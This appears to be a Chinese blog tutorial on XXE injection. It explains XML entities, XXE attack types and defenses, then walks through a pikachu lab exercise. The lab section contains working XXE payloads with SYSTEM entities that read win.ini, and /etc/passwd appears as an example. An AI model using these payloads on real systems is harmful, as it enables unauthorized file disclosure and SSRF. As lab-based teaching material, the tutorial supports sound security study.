当前位置: 首页 > news >正文

XXE(外部实体注入)

目录

学习xxe前提:了解xml格式

1. XML基础

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

2.3. XML实体类型

2.4. 攻击类型

2.5. 防御措施

3. pikachu靶场xxe练习


学习xxe前提:了解xml格式

1. XML基础

文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD文档

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">


内部声明实体

<!ENTITY 实体名称 "实体的值">

引用外部实体

<!ENTITY 实体名称 SYSTEM "URI">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

调用方式:&实体名称;

设计它的目的是传输数据。XML语言的出现核心是用来展示及数据的交互

2. XXE基础知识

2.1. 结构

2.2. 定义与原理

XXE(XML External Entity)即XML外部实体注入攻击,利用XML解析器的配置缺陷,通过构造恶意外部实体,读取文件、发起SSRF攻击或执行远程代码。XML允许自定义实体,当解析器处理外部实体(SYSTEM关键字)时,若未严格限制,攻击者可注入恶意实体访问系统资源。

服务端接收了并解析了来自用户端的xml数据,但是没有做到严格的分析和过滤,导致外部实体注入

2.3. XML实体类型

  • 内部实体:在文档内定义,如 <!ENTITY name "value">
  • 外部实体:引用外部资源,如 <!ENTITY ext SYSTEM "file:///etc/passwd">
  • 参数实体:用于DTD内部,以%声明,如 <!ENTITY %n param "content">

%n表示=content,也可以理解为调用。

2.4. 攻击类型

  • 文件读取:利用file://协议读取服务器文件(如/etc/passwd)。
  • SSRF(服务端请求伪造):通过http://等协议探测内网服务。
  • 拒绝服务(DoS):加载大文件(如/dev/random)耗尽资源。
  • 远程代码执行(RCE):需特定环境支持(如PHP的expect模块)。
  • 综合能力,主要学会融会贯通,洞与洞之间的联通,

2.5. 防御措施

  • 禁用外部实体:配置解析器禁用DTD和外部实体(如Java的DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true))。
  • 使用安全解析器:如Python的defusedxml库。
  • 输入过滤:移除XML中的DOCTYPE声明和敏感关键字。
  • 数据格式替代:优先使用JSON等非XML格式。

3. pikachu靶场xxe练习

如图所示,图中具有一个接口,可以接受我所打入的xml代码。

现在我使用下面xml码传输数据

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker "shuaitan">

]>

<name>&hacker;</name>

具有回显

构造payload

接下来利用file协议进行敏感文件查看

查看文件: win.ini 该文件之前在文件包含时也查询过

是系统的默认文件

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">

]>

<name>&hacker;</name>

敏感文件查看:

http://www.xdnf.cn/news/580267.html

相关文章:

  • 创建信任所有证书的HttpClient:Java 实现 HTTPS 接口调用,等效于curl -k
  • 【Linux学习笔记】ext2文件系统的深度剖析
  • 微软CTO:AI已经“能力过剩”,行业需要努力缩小模型能力与实际产品交付之间的差距
  • rt-linux下的底层锁依赖因cgroup cpu功能导致不相干进程的高时延问题
  • 边缘计算是什么?逻辑视域下的边缘计算:分布式计算范式的理论基础与逻辑结构分析
  • SQL的RAND用法和指定生成随机数的范围
  • MySQL中InnoDB引擎逻辑存储结构、B+树索引结构、B+树高度及存储数据量
  • 从零基础到最佳实践:Vue.js 系列(8/10):《性能优化与最佳实践》
  • 借助Azure AI Foundry 如何打造语音交互新体验
  • 结构型:适配器模式
  • K8S之核心技术Helm
  • 谷歌medgemma-27b-text-it医疗大模型论文速读:面向医学视觉问答的语义标签知识增强数据集SLAKE
  • 【Linux】进程间通信(四):System V标准(共享内存、消息队列、信息量)
  • [Git] 认识 Git 的三大区域 文件的修改和提交
  • linux杀死进程自身
  • Docker实战
  • docker network 自定义网络配置与管理指南
  • 数字孪生技术如何重塑能源产业?
  • 生成树协议(STP)配置详解:避免网络环路的最佳实践
  • java基础(api)
  • 第八天的尝试
  • 印度语言指令驱动的无人机导航!UAV-VLN:端到端视觉语言导航助力无人机自主飞行
  • AllToAll通信为什么用于EP并行?
  • Linux性能监控工具nmon
  • 【开源解析】基于深度学习的双色球预测系统:从数据获取到可视化分析
  • Axure系统原型设计首页模版方案
  • InetAddress 类详解
  • AI大模型技术全景解析:核心原理与关键技术拆解
  • 【C++ 真题】P5736 【深基7.例2】质数筛
  • HJ23 删除字符串中出现次数最少的字符【牛客网】